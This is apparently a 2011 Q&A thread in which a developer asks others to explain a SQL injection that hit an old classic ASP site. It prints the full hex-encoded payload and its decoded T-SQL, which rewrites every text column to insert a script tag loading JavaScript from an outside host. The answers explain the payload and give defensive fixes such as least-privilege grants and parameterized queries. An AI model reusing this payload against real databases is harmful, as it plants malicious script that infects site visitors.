Can someone explain this SQL injection attack to me?

Question

I wanted to post this here as it is very much coding related and was something I had to clean up this week on one of my company's old ASP (classic) sites.

We got hit with the SQL injection attack that was run just a few days ago, but I'm scratching my head WHAT exactly the 'damage' was to the SQL server (via these SQL queries).

To be honest, I thought it was very ingenious the way this was carried out, and its my companies fault for having an old 10 year old site with little to no sanitized input.

The attack:

122+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29-

What it decodes to: (what I want to understand)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

We've recovered a backup (pre injection) and went through the entire app and sanitized all input statements. Our server is firewalled, so no direct SQL access, however I want to know what else could be left over, and I have to admit the SQL query is over my head.

Can someone take a crack at it and explain the attack SQL for me?

APOLOGIES I UPDATED THE FULL DUMP & SQL

It seems to append a JavaScript file to some portion of your HTML files AFAICT. — Blender, Dec 05 '11 at 01:58
`SELECT 0xFF;` returns `ÿ` with MySQL, you may want to explore this path. — Vincent Savard, Dec 05 '11 at 01:59
Might help if you get rid of the snip and post the whole thing — griegs, Dec 05 '11 at 02:00
@griegs, you're right, I grabbed this hex dump off the http://isc.sans.org site, as this was a huge attack it seems. I overlooked the 'snip' — Jakub, Dec 05 '11 at 02:01
It creates a cursor to loop through all the tables in the database and it either updates the table information with data from XXXX://xxxxxxxxx.com/sl.php but I could be wrong as I don't understand the SNIP bit. — Saidur Rahman, Dec 05 '11 at 02:02
from what I understand, it gets all varchar/text fields with maximum length > 30, I think it is looking for login hashes or any text field for that matter, any "free" info is "good"... also, I think it goes over all tables => WICKED! I could be wrong of course... — , Dec 05 '11 at 02:07
If you're still thinking about "sanitizing" input, you're still don't get it. Input should not be sanitized... it should be quarantined. That's what parameterized queries do: quarantine the data portion of the query. — Joel Coehoorn, Dec 05 '11 at 02:20
Also, please pay more attention to your tag choices. `asp` proved to be ambiguous, and so `asp-classic` is preferred. — Joel Coehoorn, Dec 05 '11 at 02:25
This would also be successful if your database user has DBO permissions. Strongly consider removing DBO permissions to your database user and specify object level user permissions instead. Then scripts of this type can't query your schema or system tables to gain this sort of information. — Andy Davies, Dec 05 '11 at 10:42
@JoelCoehoorn, sorry about the `asp` tag, I'll be more careful in the future, also thanks about the insight of quarantine vs sanitization, very informative. Thanks! — Jakub, Dec 06 '11 at 00:08

score 57 · Accepted Answer · answered Dec 05 '11 at 02:16

Just formatting it for readability will clarify a lot:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.

score 15 · Answer 2 · answered Dec 05 '11 at 02:11

It's looping through all columns in all tables and updating their value by adding a <script> tag whose source points at a malicious JS file.

The important bit is

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in

I'm guessing something got omitted here and the statement probably ended with something like ('varchar', 'char', 'text') or something similar, so that it's only trying to update columns that hold text. They're hoping one of the columns hold text that's getting pulled into your website, so after they add their JS reference to it, it will be included on the source of various pages.

To fix this, you should do something similar - loop through all columns that contain text and replace the injected script with an empty string. Google will be your friend here, but here's a pretty good looking link that should be helpful setting up a script to do that.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

well we rolled back to a previous DB backup which was fine, I was just concerned the SQL did something more than append to `varchar` fields — Jakub, Dec 05 '11 at 02:24

Andy Davies · Answer 3 · 2011-12-05T11:56:07.730

Consider installing URLScan 3.1 to quickly protect your application from sql injection attempts, as well as working through your application to properly sanitize your sql statements.

This type of sql injection attack also usually work because your database user has permissions that are too loose, e.g. DBO rights. Look to connect to your database from your application using a database user with only the necessary rights to run your application. You can create a database user, map it to your database with public rights only than run a script like the one below to apply necessary individual rights to each object you need to.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Obviously test this against your specific application as you might have procedures that require ability to select from these sys tables.

score 0 · Answer 4 · answered Dec 09 '13 at 12:15

Look at changing your queries like this;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

To something like this;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

This is just a crude example of combating SQL Injection without resorting to sanitizing input. I would still approach this differently.

score 0 · Answer 5 · edited Dec 05 '11 at 23:28

0

I think its trying to insert encoded strings to all textual columns in your database. Check this ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Hope it helps in some sense

edited Dec 05 '11 at 23:28

Redwood

66,744
41
126
187

answered Dec 05 '11 at 02:12

Sudhir Bastakoti

99,167
15
158
162

Can someone explain this SQL injection attack to me?

5 Answers5

Linked